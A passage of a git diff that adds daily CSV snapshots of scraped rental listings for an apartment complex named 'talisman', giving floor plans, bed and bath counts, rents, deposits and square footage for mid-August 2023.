sq.ft.,None,N/A +20230812,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230812,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230812,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230812,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230812,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230812,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230812,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230812,talisman,D1 (3x2),3 Bed 2 Bath,"$3,531",$300,1241 - 1362 sq.ft.,None,N/A +20230812,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230812,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230812,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230813.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230813.csv new file mode 100644 index 00000000000..b69837e97b2 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230813.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230813,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230813,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230813,talisman,A10 (1x1),1 Bed 1 Bath,"$2,264",$300,578 - 665 sq.ft.,None,N/A +20230813,talisman,A1 (1x1),1 Bed 1 Bath,"$2,284",$300,604 - 671 sq.ft.,None,N/A +20230813,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230813,talisman,A3 (1x1),1 Bed 1 Bath,"$2,364",$300,609 - 642 sq.ft.,None,N/A +20230813,talisman,A2 (1x1),1 Bed 1 Bath,"$2,364",$300,617 - 715 sq.ft.,None,N/A +20230813,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230813,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230813,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230813,talisman,B5 (1x1),1 Bed 1 Bath,"$2,129",$300,674 - 775 sq.ft.,None,N/A +20230813,talisman,B2 (1x1),1 Bed 1 Bath,"$2,199",$300,706 - 739 sq.ft.,None,N/A +20230813,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230813,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230813,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,630",$300,745 - 828 sq.ft.,None,N/A +20230813,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230813,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230813,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,715",$300,785 - 852 sq.ft.,None,N/A +20230813,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230813,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230813,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230813,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230813,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230813,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230813,talisman,C2 (2x2),2 Bed 2 Bath,"$3,261",$300,1088 - 1243 sq.ft.,None,N/A +20230813,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230813,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230813,talisman,C5 (2x2),2 Bed 2 Bath,"$3,021",$300,934 - 984 sq.ft.,None,N/A +20230813,talisman,C3 (2x2),2 Bed 2 Bath,"$3,141",$300,1010 - 1103 sq.ft.,None,N/A +20230813,talisman,C1 (2x2),2 Bed 2 Bath,"$3,406",$300,1029 - 1294 sq.ft.,None,N/A +20230813,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230813,talisman,C7 (2x2),2 Bed 2 Bath,"$3,226",$300,1074 - 1131 sq.ft.,None,N/A +20230813,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,260",$300,1140 - 1185 sq.ft.,None,N/A +20230813,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230813,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230813,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230813,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230813,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230813,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230813,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230813,talisman,D1 (3x2),3 Bed 2 Bath,"$3,531",$300,1241 - 1362 sq.ft.,None,N/A +20230813,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230813,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230813,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230814.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230814.csv new file mode 100644 index 00000000000..30725264639 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230814.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230814,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230814,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230814,talisman,A10 (1x1),1 Bed 1 Bath,"$2,264",$300,578 - 665 sq.ft.,None,N/A +20230814,talisman,A1 (1x1),1 Bed 1 Bath,"$2,284",$300,604 - 671 sq.ft.,None,N/A +20230814,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230814,talisman,A3 (1x1),1 Bed 1 Bath,"$2,364",$300,609 - 642 sq.ft.,None,N/A +20230814,talisman,A2 (1x1),1 Bed 1 Bath,"$2,364",$300,617 - 715 sq.ft.,None,N/A +20230814,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230814,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230814,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230814,talisman,B5 (1x1),1 Bed 1 Bath,"$2,129",$300,674 - 775 sq.ft.,None,N/A +20230814,talisman,B2 (1x1),1 Bed 1 Bath,"$2,199",$300,706 - 739 sq.ft.,None,N/A +20230814,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230814,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230814,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,630",$300,745 - 828 sq.ft.,None,N/A +20230814,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230814,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230814,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230814,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230814,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230814,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230814,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230814,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230814,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230814,talisman,C2 (2x2),2 Bed 2 Bath,"$3,261",$300,1088 - 1243 sq.ft.,None,N/A +20230814,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230814,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230814,talisman,C5 (2x2),2 Bed 2 Bath,"$3,021",$300,934 - 984 sq.ft.,None,N/A +20230814,talisman,C3 (2x2),2 Bed 2 Bath,"$3,141",$300,1010 - 1103 sq.ft.,None,N/A +20230814,talisman,C1 (2x2),2 Bed 2 Bath,"$3,406",$300,1029 - 1294 sq.ft.,None,N/A +20230814,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230814,talisman,C7 (2x2),2 Bed 2 Bath,"$3,226",$300,1074 - 1131 sq.ft.,None,N/A +20230814,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,260",$300,1140 - 1185 sq.ft.,None,N/A +20230814,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230814,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230814,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230814,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230814,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230814,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230814,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230814,talisman,D1 (3x2),3 Bed 2 Bath,"$3,531",$300,1241 - 1362 sq.ft.,None,N/A +20230814,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230814,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230814,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230815.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230815.csv new file mode 100644 index 00000000000..c6500a5a044 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230815.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230815,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230815,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230815,talisman,A10 (1x1),1 Bed 1 Bath,"$2,146",$300,578 - 665 sq.ft.,None,N/A +20230815,talisman,A1 (1x1),1 Bed 1 Bath,"$2,166",$300,604 - 671 sq.ft.,None,N/A +20230815,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230815,talisman,A3 (1x1),1 Bed 1 Bath,"$2,246",$300,609 - 642 sq.ft.,None,N/A +20230815,talisman,A2 (1x1),1 Bed 1 Bath,"$2,246",$300,617 - 715 sq.ft.,None,N/A +20230815,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230815,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230815,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230815,talisman,B5 (1x1),1 Bed 1 Bath,"$2,141",$300,674 - 775 sq.ft.,None,N/A +20230815,talisman,B2 (1x1),1 Bed 1 Bath,"$2,199",$300,706 - 739 sq.ft.,None,N/A +20230815,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230815,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230815,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,645",$300,745 - 828 sq.ft.,None,N/A +20230815,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230815,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230815,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230815,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230815,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230815,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230815,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230815,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230815,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230815,talisman,C2 (2x2),2 Bed 2 Bath,"$3,131",$300,1088 - 1243 sq.ft.,None,N/A +20230815,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230815,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230815,talisman,C5 (2x2),2 Bed 2 Bath,"$2,891",$300,934 - 984 sq.ft.,None,N/A +20230815,talisman,C3 (2x2),2 Bed 2 Bath,"$3,011",$300,1010 - 1103 sq.ft.,None,N/A +20230815,talisman,C1 (2x2),2 Bed 2 Bath,"$3,276",$300,1029 - 1294 sq.ft.,None,N/A +20230815,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230815,talisman,C7 (2x2),2 Bed 2 Bath,"$3,096",$300,1074 - 1131 sq.ft.,None,N/A +20230815,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,275",$300,1140 - 1185 sq.ft.,None,N/A +20230815,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230815,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230815,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230815,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230815,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230815,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230815,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230815,talisman,D1 (3x2),3 Bed 2 Bath,"$3,401",$300,1241 - 1362 sq.ft.,None,N/A +20230815,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230815,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230815,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230816.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230816.csv new file mode 100644 index 00000000000..4460214b90c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230816.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230816,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230816,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230816,talisman,A10 (1x1),1 Bed 1 Bath,"$2,146",$300,578 - 665 sq.ft.,None,N/A +20230816,talisman,A1 (1x1),1 Bed 1 Bath,"$2,166",$300,604 - 671 sq.ft.,None,N/A +20230816,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230816,talisman,A3 (1x1),1 Bed 1 Bath,"$2,246",$300,609 - 642 sq.ft.,None,N/A +20230816,talisman,A2 (1x1),1 Bed 1 Bath,"$2,246",$300,617 - 715 sq.ft.,None,N/A +20230816,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230816,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230816,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230816,talisman,B5 (1x1),1 Bed 1 Bath,"$2,129",$300,674 - 775 sq.ft.,None,N/A +20230816,talisman,B2 (1x1),1 Bed 1 Bath,"$2,199",$300,706 - 739 sq.ft.,None,N/A +20230816,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230816,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230816,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,645",$300,745 - 828 sq.ft.,None,N/A +20230816,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230816,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230816,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230816,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230816,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230816,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230816,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230816,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230816,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230816,talisman,C2 (2x2),2 Bed 2 Bath,"$3,131",$300,1088 - 1243 sq.ft.,None,N/A +20230816,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230816,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230816,talisman,C5 (2x2),2 Bed 2 Bath,"$2,891",$300,934 - 984 sq.ft.,None,N/A +20230816,talisman,C3 (2x2),2 Bed 2 Bath,"$3,011",$300,1010 - 1103 sq.ft.,None,N/A +20230816,talisman,C1 (2x2),2 Bed 2 Bath,"$3,276",$300,1029 - 1294 sq.ft.,None,N/A +20230816,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230816,talisman,C7 (2x2),2 Bed 2 Bath,"$3,096",$300,1074 - 1131 sq.ft.,None,N/A +20230816,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,275",$300,1140 - 1185 sq.ft.,None,N/A +20230816,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230816,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230816,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230816,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230816,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230816,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230816,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230816,talisman,D1 (3x2),3 Bed 2 Bath,"$3,401",$300,1241 - 1362 sq.ft.,None,N/A +20230816,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230816,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230816,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230817.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230817.csv new file mode 100644 index 00000000000..8a751b7a03d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230817.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230817,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230817,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230817,talisman,A10 (1x1),1 Bed 1 Bath,"$2,146",$300,578 - 665 sq.ft.,None,N/A +20230817,talisman,A1 (1x1),1 Bed 1 Bath,"$2,166",$300,604 - 671 sq.ft.,None,N/A +20230817,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230817,talisman,A3 (1x1),1 Bed 1 Bath,"$2,246",$300,609 - 642 sq.ft.,None,N/A +20230817,talisman,A2 (1x1),1 Bed 1 Bath,"$2,246",$300,617 - 715 sq.ft.,None,N/A +20230817,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230817,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230817,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230817,talisman,B5 (1x1),1 Bed 1 Bath,"$2,129",$300,674 - 775 sq.ft.,None,N/A +20230817,talisman,B2 (1x1),1 Bed 1 Bath,"$2,199",$300,706 - 739 sq.ft.,None,N/A +20230817,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230817,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230817,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,645",$300,745 - 828 sq.ft.,None,N/A +20230817,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230817,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230817,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230817,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230817,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230817,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230817,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230817,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230817,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230817,talisman,C2 (2x2),2 Bed 2 Bath,"$3,131",$300,1088 - 1243 sq.ft.,None,N/A +20230817,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230817,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230817,talisman,C5 (2x2),2 Bed 2 Bath,"$2,891",$300,934 - 984 sq.ft.,None,N/A +20230817,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230817,talisman,C1 (2x2),2 Bed 2 Bath,"$3,276",$300,1029 - 1294 sq.ft.,None,N/A +20230817,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230817,talisman,C7 (2x2),2 Bed 2 Bath,"$3,096",$300,1074 - 1131 sq.ft.,None,N/A +20230817,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,275",$300,1140 - 1185 sq.ft.,None,N/A +20230817,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230817,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230817,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230817,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230817,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230817,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230817,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230817,talisman,D1 (3x2),3 Bed 2 Bath,"$3,401",$300,1241 - 1362 sq.ft.,None,N/A +20230817,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230817,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230817,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230818.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230818.csv new file mode 100644 index 00000000000..bc56f9b3277 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230818.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230818,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230818,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230818,talisman,A10 (1x1),1 Bed 1 Bath,"$2,034",$300,578 - 665 sq.ft.,None,N/A +20230818,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230818,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230818,talisman,A3 (1x1),1 Bed 1 Bath,"$2,134",$300,609 - 642 sq.ft.,None,N/A +20230818,talisman,A2 (1x1),1 Bed 1 Bath,"$2,134",$300,617 - 715 sq.ft.,None,N/A +20230818,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230818,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230818,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230818,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230818,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230818,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230818,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230818,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,501",$300,745 - 828 sq.ft.,None,N/A +20230818,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230818,talisman,B1 